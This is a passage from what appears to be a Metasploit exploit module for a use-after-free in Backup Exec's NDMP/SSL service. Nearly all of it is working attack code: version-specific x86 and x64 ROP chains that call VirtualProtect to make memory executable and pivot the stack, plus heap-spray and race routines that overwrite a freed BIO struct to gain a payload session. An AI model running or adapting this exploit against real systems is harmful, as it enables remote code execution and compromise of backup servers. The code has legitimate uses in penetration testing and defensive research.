0xbe2ab32, # pop r8; ret
805
0xbe43b25, # mov rcx, rsi; call r12
806
0xbe399d0, # pop r13; ret
807
1 << 31,
808
0xbe33c3e, # mov rdx, r13; call r12
809
0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
810
0xbe399d0, # pop r13; ret
811
0,
812
0xbe33c3e, # mov rdx, r13; call r12
813
0xbe2ab32, # pop r8; ret
814
0x40, # PAGE_EXECUTE_READWRITE
815
0xbe01a29, # ret
816
0xbe5180b, # jmp rdi
817
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
818
0,
819
0,
820
0,
821
0,
822
0xbe63938 # push rsp; ret
823
]
824
stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
825
kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
826
stage_3[17] = stage_3[3] + kernel32_dll.length
827
stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
828
elsif target.opts['Version'] == 15
829
stage_3 = [
830
0xbe68a34, # push rax; pop rbx; ret
831
0xbe087c8, # pop rax; ret
832
0,
833
0xbe60dc0, # add rax, rcx; ret
834
0xbe9b627, # mov rcx, rax; call r12
835
0xbe4929d, # ret
836
0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
837
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
838
0,
839
0,
840
0,
841
0,
842
0xbe34c0c, # push rax; pop rbp; ret
843
0xbefc534, # mov rcx, rbx; call r12
844
0xbe087c8, # pop rax; ret
845
0,
846
0xbe60dc0, # add rax, rcx; ret
847
0xbe9b627, # mov rcx, rax; call r12
848
0xbefc526, # mov rdx, rcx; call r12
849
0xbe9ad68, # mov rcx, rbp; call r12
850
0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
851
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
852
0,
853
0,
854
0,
855
0,
856
0xbe43269, # push rax; pop rsi; ret
857
0xbefc534, # mov rcx, rbx; call r12
858
0xbebd50e, # pop r13; ret
859
0,
860
0xbe97c4e, # mov rdx, r13; call r12
861
0xbeae99d, # pop r8; ret
862
0x40, # PAGE_EXECUTE_READWRITE
863
0xbe3c9c0, # test rdx, rdx; setne al; ret
864
0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
865
0xbe4929d, # ret
866
0xbe9436d, # jmp rsi
867
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
868
0,
869
0,
870
0,
871
0,
872
0xbe2184d, # pop rdi; ret
873
0xbebd50e, # pop r13; ret
874
0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
875
]
876
stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
877
stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
878
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
879
elsif target.opts['Version'] == 16
880
stage_3 = [
881
0xbe4e888, # push rax; pop rbx; ret
882
0xbe01f72, # pop rax; ret
883
0,
884
0xbe610f0, # add rax, rcx; ret
885
0xbe9c70c, # mov rcx, rax; call r12
886
0xbe01c2c, # ret
887
0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
888
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
889
0,
890
0,
891
0,
892
0,
893
0xbe12ed0, # pop rdi; ret
894
0xbe45a01, # pop r13; ret
895
0xbeaedb0, # mov rbp, rax; call rdi
896
0xbe5851a, # mov rcx, rbx; call r12
897
0xbe01f72, # pop rax; ret
898
0,
899
0xbe610f0, # add rax, rcx; ret
900
0xbe9c70c, # mov rcx, rax; call r12
901
0xbefe516, # mov rdx, rcx; call r12
902
0xbe9bf28, # mov rcx, rbp; call r12
903
0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
904
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
905
0,
906
0,
907
0,
908
0,
909
0xbe433b9, # push rax; pop rsi; ret
910
0xbe5851a, # mov rcx, rbx; call r12
911
0xbe45a01, # pop r13; ret
912
0,
913
0xbe2e55e, # mov rdx, r13; call r12
914
0xbe27c76, # pop r8; ret
915
0x40, # PAGE_EXECUTE_READWRITE
916
0xbe3caf0, # test rdx, rdx; setne al; ret
917
0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
918
0xbe01c2c, # ret
919
0xbe56cad, # jmp rsi
920
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
921
0,
922
0,
923
0,
924
0,
925
0xbe12ed0, # pop rdi; ret
926
0xbe45a01, # pop r13; ret
927
0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
928
]
929
stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
930
stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
931
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
932
end
933
else
934
if target.opts['Version'] == 14
935
stage_3 = [
936
0x63117dfa, # pop edi; ret
937
0x63101514, # ret
938
0x63116cc9, # pop esi; ret
939
0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
940
0x631017ff, # pop ebp; ret
941
0x631213e6, # add esp, 0x20; ret
942
0x63137a3c, # pushal; ret
943
'KERN'.unpack('L<')[0],
944
'EL32'.unpack('L<')[0],
945
'.dll'.unpack('L<')[0],
946
0,
947
0x63117dfa, # pop edi; ret
948
0x6311de4c, # pop edi; pop ebp; ret
949
0x6311b614, # push eax; call edi
950
0x63117dfa, # pop edi; ret
951
0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
952
0x63116cc9, # pop esi; ret
953
0x631213e6, # add esp, 0x20; ret
954
0x63137a3c, # pushal; ret
955
'Virt'.unpack('L<')[0],
956
'ualP'.unpack('L<')[0],
957
'rote'.unpack('L<')[0],
958
"ct\0\0".unpack('L<')[0],
959
0x6314de45, # xchg eax, edi; ret
960
0x6311db46, # push esp; pop esi; ret
961
0x6311a398, # xchg eax, esi; ret
962
0x63116cc9, # pop esi; ret
963
0x6311f902, # pop ebx; pop ecx; ret
964
0x63123d89, # push eax; call esi
965
0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
966
0x63101514, # ret
967
0,
968
0x631309f4, # pop edx; or al, 0xf6; ret
969
0x40, # PAGE_EXECUTE_READWRITE
970
0x63117dfa, # pop edi; ret
971
0x63101514, # ret
972
0x6310185a, # pop eax; ret
973
0x63139ec5, # push esp; ret
974
0x63137a3c # pushal; ret
975
]
976
stage_3[31] = stage_4.length + 4
977
elsif target.opts['Version'] == 15
978
stage_3 = [
979
0x6311e378, # pop edi; ret
980
0x63101564, # ret
981
0x631289b9, # pop esi; ret
982
0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
983
0x6310184f, # pop ebp; ret
984
0x6313937d, # add esp, 0x20; ret
985
0x6311c618, # pushal; ret
986
'KERN'.unpack('L<')[0],
987
'EL32'.unpack('L<')[0],
988
'.dll'.unpack('L<')[0],
989
0,
990
0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
991
0x6311e378, # pop edi; ret
992
0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
993
0x631289b9, # pop esi; ret
994
0x6313937d, # add esp, 0x20; ret
995
0x6311c618, # pushal; ret
996
'Virt'.unpack('L<')[0],
997
'ualP'.unpack('L<')[0],
998
'rote'.unpack('L<')[0],
999
"ct\0\0".unpack('L<')[0],
1000
0x631289b9, # pop esi; ret
1001
0x631018aa, # pop eax; ret
1002
0x63198446, # mov edi, eax; call esi
1003
0x63137496, # push esp; pop esi; ret
1004
0x6312c068, # xchg eax, esi; ret
1005
0x631289b9, # pop esi; ret
1006
0x6315c407, # pop ebx; pop ecx; ret
1007
0x63189809, # push eax; call esi
1008
0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1009
0x63101564, # ret
1010
0,
1011
0x63156a54, # pop edx; or al, 0xf6; ret
1012
0x40, # PAGE_EXECUTE_READWRITE
1013
0x6311e378, # pop edi; ret
1014
0x63101564, # ret
1015
0x631018aa, # pop eax; ret
1016
0x6311c638, # push esp; ret
1017
0x6311c618 # pushal; ret
1018
]
1019
stage_3[31] = stage_4.length + 4
1020
elsif target.opts['Version'] == 16
1021
stage_3 = [
1022
0x6311e3c0, # pop edi; ret
1023
0x63101564, # ret
1024
0x63128a39, # pop esi; ret
1025
0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
1026
0x6310184f, # pop ebp; ret
1027
0x631394ad, # add esp, 0x20; ret
1028
0x6311c69c, # pushal; ret
1029
'KERN'.unpack('L<')[0],
1030
'EL32'.unpack('L<')[0],
1031
'.dll'.unpack('L<')[0],
1032
0,
1033
0x6311e3c0, # pop edi; ret
1034
0x631018aa, # pop eax; ret
1035
0x6319959f, # mov ebp, eax; call edi
1036
0x6311e3c0, # pop edi; ret
1037
0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
1038
0x63128a39, # pop esi; ret
1039
0x631394ad, # add esp, 0x20; ret
1040
0x6311c69c, # pushal; ret
1041
'Virt'.unpack('L<')[0],
1042
'ualP'.unpack('L<')[0],
1043
'rote'.unpack('L<')[0],
1044
"ct\0\0".unpack('L<')[0],
1045
0x63128a39, # pop esi; ret
1046
0x631018aa, # pop eax; ret
1047
0x631993e6, # mov edi, eax; call esi
1048
0x631375e6, # push esp; pop esi; ret
1049
0x6312c0e8, # xchg eax, esi; ret
1050
0x63128a39, # pop esi; ret
1051
0x63133031, # pop ebx; pop ecx; ret
1052
0x6314a34a, # push eax; call esi
1053
0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1054
0x63101564, # ret
1055
0,
1056
0x63157084, # pop edx; or al, 0xf6; ret
1057
0x40, # PAGE_EXECUTE_READWRITE
1058
0x6311e3c0, # pop edi; ret
1059
0x63101564, # ret
1060
0x631018aa, # pop eax; ret
1061
0x63134eb6, # push esp; ret
1062
0x6311c69c # pushal; ret
1063
]
1064
stage_3[33] = stage_4.length + 4
1065
end
1066
stage_3 = stage_3.pack('L<*') + stage_4
1067
end
1068
1069
if target.opts['Arch'] == ARCH_X64
1070
if target.opts['Version'] == 14
1071
stage_2 = [
1072
0xbe40d1d, # pop r12; pop rsi; ret
1073
0xbe1bca3, # pop r12; pop rbx; ret
1074
0xbe399d0, # pop r13; ret
1075
0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
1076
0xbe501a7, # mov rcx, rbx; call rsi
1077
0xbe01f72, # pop rax; ret
1078
0,
1079
0xbe3d250, # add rax, rcx; ret
1080
0xbe37f75, # push rax; pop rdi; ret
1081
0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
1082
0xbe24263, # mov rax, qword ptr [rax + 8]; ret
1083
0xbe1b055, # pop rbx; ret
1084
0xfffffffffffff000,
1085
0xbe501a7, # mov rcx, rbx; call rsi
1086
0xbe3d250, # add rax, rcx; ret
1087
0xbe1c2f9, # pop r12; ret
1088
0xbe2ab32, # pop r8; ret
1089
0xbe2987c, # mov rcx, rax; call r12
1090
0xbe1b055, # pop rbx; ret
1091
0xbe2ab32, # pop r8; ret
1092
0xbe45935, # mov rdx, rdi; call rbx
1093
0xbe01a29, # ret
1094
0xbe2ab32, # pop r8; ret
1095
0,
1096
0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
1097
0xbe2987c, # mov rcx, rax; call r12
1098
0xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
1099
]
1100
elsif target.opts['Version'] == 15
1101
stage_2 = [
1102
0xbe1e18e, # pop r12; pop rdi; ret
1103
0xbebd50e, # pop r13; ret
1104
0xbebc3fd, # pop r14; pop rbp; ret
1105
0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1106
0xbe9ad68, # mov rcx, rbp; call r12
1107
0xbe087c8, # pop rax; ret
1108
0,
1109
0xbe60dc0, # add rax, rcx; ret
1110
0xbe43269, # push rax; pop rsi; ret
1111
0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
1112
0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
1113
0xbe1d923, # pop r12; pop rbx; ret
1114
0xfffffffffffff000,
1115
0xbe27c76, # pop r8; ret
1116
0xbe45511, # mov rcx, r12; call rbx
1117
0xbe60dc0, # add rax, rcx; ret
1118
0xbe1df29, # pop r12; ret
1119
0xbe27c76, # pop r8; ret
1120
0xbe9b54c, # mov rcx, rax; call r12
1121
0xbe01f72, # pop rax; ret
1122
0xbe27c76, # pop r8; ret
1123
0xbe4164c, # mov rdx, rsi; call rax
1124
0xbeae99d, # pop r8; ret
1125
0,
1126
0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
1127
0xbe9b627, # mov rcx, rax; call r12
1128
0xbeeb621 # push rcx; pop rsp; ret
1129
]
1130
elsif target.opts['Version'] == 16
1131
stage_2 = [
1132
0xbe1e18e, # pop r12; pop rdi; ret
1133
0xbe45a01, # pop r13; ret
1134
0xbe2a433, # pop r14; pop rbp; ret
1135
0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1136
0xbe9bf28, # mov rcx, rbp; call r12
1137
0xbe01f72, # pop rax; ret
1138
0,
1139
0xbe610f0, # add rax, rcx; ret
1140
0xbe433b9, # push rax; pop rsi; ret
1141
0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
1142
0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
1143
0xbe1d923, # pop r12; pop rbx; ret
1144
0xfffffffffffff000,
1145
0xbe27c76, # pop r8; ret
1146
0xbe45681, # mov rcx, r12; call rbx
1147
0xbe610f0, # add rax, rcx; ret
1148
0xbe1df29, # pop r12; ret
1149
0xbe27c76, # pop r8; ret
1150
0xbe9c70c, # mov rcx, rax; call r12
1151
0xbe01f72, # pop rax; ret
1152
0xbe27c76, # pop r8; ret
1153
0xbe4179c, # mov rdx, rsi; call rax
1154
0xbe27c76, # pop r8; ret
1155
0,
1156
0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
1157
0xbe9c70c, # mov rcx, rax; call r12
1158
0xbeed611 # push rcx; pop rsp; ret
1159
]
1160
end
1161
stage_2[6] = (stage_2.length - 4) * 8
1162
stage_2[23] = stage_3.length
1163
stage_2 = stage_2.pack('Q<*') + stage_3
1164
else
1165
if target.opts['Version'] == 14
1166
stage_2 = [
1167
0x63143720, # mov eax, dword ptr fs:[0x18]; ret
1168
0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
1169
0x63129b75, # pop edi; pop ecx; ret
1170
0xfffffff0,
1171
0x100000000 - 0x2000,
1172
0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
1173
0x63129b75, # pop edi; pop ecx; ret
1174
0x6310185a, # pop eax; ret
1175
0,
1176
0,
1177
0,
1178
0x63133912, # add eax, ecx; ret
1179
0x63152ded, # mov ebx, eax; call esi
1180
0x631309f4, # pop edx; or al, 0xf6; ret
1181
0x6314cfa1, # xchg eax, esp; ret
1182
0x6311db46, # push esp; pop esi; ret
1183
0x6310185a, # pop eax; ret
1184
0x6310185a, # pop eax; ret
1185
0x631171d2, # mov ecx, esi; call eax
1186
0x6310185a, # pop eax; ret
1187
0,
1188
0x63133912, # add eax, ecx; ret
1189
0x631257f4, # push ebx; call edi
1190
0x631546eb, # pop edi; ret
1191
0x631543cb, # pop ebp; pop esi; pop edi; ret
1192
0x63116faf, # pop ebx; ret
1193
0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
1194
0x6315dde0, # cld; ret
1195
0x63137a3c, # pushal; ret
1196
0
1197
]
1198
stage_2[20] = (stage_2.length - 16) * 4
1199
stage_2[29] = stage_3.length
1200
elsif target.opts['Version'] == 15
1201
stage_2 = [
1202
0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
1203
0x6312e404, # mov eax, dword ptr [eax + 4]; ret
1204
0x6313031d, # pop ebp; pop ecx; ret
1205
0x100000000 - 0x2000,
1206
0xfffffff0,
1207
0x6316c73a, # and eax, ecx; pop esi; ret
1208
0x6315c407, # pop ebx; pop ecx; ret
1209
0x63192b17, # add eax, ebp; ret
1210
0x63189809, # push eax; call esi
1211
0x63156a54, # pop edx; or al, 0xf6; ret
1212
0x6312c933, # xchg eax, esp; ret
1213
0x63137496, # push esp; pop esi; ret
1214
0x6314172a, # pop eax; ret
1215
0,
1216
0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
1217
0x63156dd8, # pop edi; pop ebp; pop esi; ret
1218
0,
1219
0,
1220
0x631729cd, # pop ebx; ret
1221
0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
1222
0x6311e250, # cld; ret
1223
0x6311c618, # pushal; ret
1224
0
1225
]
1226
stage_2[13] = (stage_2.length - 12) * 4
1227
stage_2[22] = stage_3.length
1228
elsif target.opts['Version'] == 16
1229
stage_2 = [
1230
0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
1231
0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
1232
0x63128afc, # pop ecx; ret
1233
0xfffffff0,
1234
0x6316d13a, # and eax, ecx; pop esi; ret
1235
0x63133031, # pop ebx; pop ecx; ret
1236
0x63128afc, # pop ecx; ret
1237
0x100000000 - 0x2000,
1238
0x63142860, # add eax, ecx; ret
1239
0x6314a34a, # push eax; call esi
1240
0x63157084, # pop edx; or al, 0xf6; ret
1241
0x6311c6c0, # xchg eax, esp; ret
1242
0x631375e6, # push esp; pop esi; ret
1243
0x631018aa, # pop eax; ret
1244
0,
1245
0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
1246
0,
1247
0x63157408, # pop edi; pop ebp; pop esi; ret
1248
0x63157408, # pop edi; pop ebp; pop esi; ret
1249
0,
1250
0,
1251
0x63181046, # sub eax, ecx; pop ebx; ret
1252
0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
1253
0x6311e298, # cld; ret
1254
0x6311c69c, # pushal; ret
1255
0
1256
]
1257
stage_2[14] = (stage_2.length - 13) * 4
1258
stage_2[25] = stage_3.length
1259
end
1260
stage_2 = stage_2.pack('L<*') + stage_3
1261
end
1262
1263
stage_2 + rand_text(stage_2.length & 1)
1264
end
1265
1266
#
1267
# Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
1268
#
1269
def attempt_triggers(s, spray_socks, spray_msg)
1270
datastore['NumTriggerAttempts'].times do |x|
1271
print_status('Spraying stage 1...')
1272
(1..2).each do |phase|
1273
spray_socks.each do |ss|
1274
if phase == 1
1275
return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
1276
return true if @payload_connected || session_created?
1277
else
1278
50.times do
1279
return false unless ss.read_ndmp_msg(spray_msg.header.type)
1280
return true if @payload_connected || session_created?
1281
end
1282
end
1283
end
1284
end
1285
sleep(1)
1286
return true if @payload_connected || session_created?
1287
1288
# Send a certain amount of data per trigger attempt so that stage 1 will always end
1289
# up jumping into the TLS/SSLv2 record at an expected location. The general idea is
1290
# that the first write will complete Backup Exec's first recv operation, the second
1291
# fills the buffer back up to an 8/4-byte aligned position, and the rest moves
1292
# through the retsled
1293
print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
1294
trigger = if target.opts['Version'] == 14
1295
if x == 0
1296
# A maximum of 5 bytes are always read at first, so just send them all at once
1297
"\x16\x03\x01\x10\x00"
1298
elsif x == 1
1299
# Skip over TLS header structure
1300
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
1301
else
1302
# Skip over a ROP NOP
1303
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1304
end
1305
else
1306
if x == 0
1307
# A maximum of 11 bytes are always read at first, so just send them all at once
1308
"\x90\x00\x01\x03\x03" + rand_text(11 - 5)
1309
elsif x == 1
1310
# Skip over SSLv2 header structure
1311
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
1312
else
1313
# Skip over a ROP NOP
1314
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1315
end
1316
end
1317
return false unless s.raw_sendall(trigger, 0)
1318
1319
sleep(1)
1320
return true if @payload_connected || session_created?
1321
end
1322
1323
nil
1324
end
1325
1326
#
1327
# Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
1328
# use-after-free in a race.
1329
#
1330
# For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
1331
# This is because these versions of Windows overwrite the start of freed objects on the
1332
# heap with the next offset in the freelist. We need to then overwrite this with our
1333
# stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
1334
# struct's read callback upon re-entering SSL mode. This is less successful than the
1335
# Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
1336
# still works OK.
1337
#
1338
def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
1339
print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
1340
do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
1341
unless is_pre
1342
200.times do
1343
spray_socks.each do |ss|
1344
ss.prepare_and_write_ndmp_msg(spray_msg, 200)
1345
return true if @payload_connected || session_created?
1346
end
1347
end
1348
end
1349
end
1350
sleep(1)
1351
1352
@payload_connected || session_created?
1353
end
1354
end
1355
1356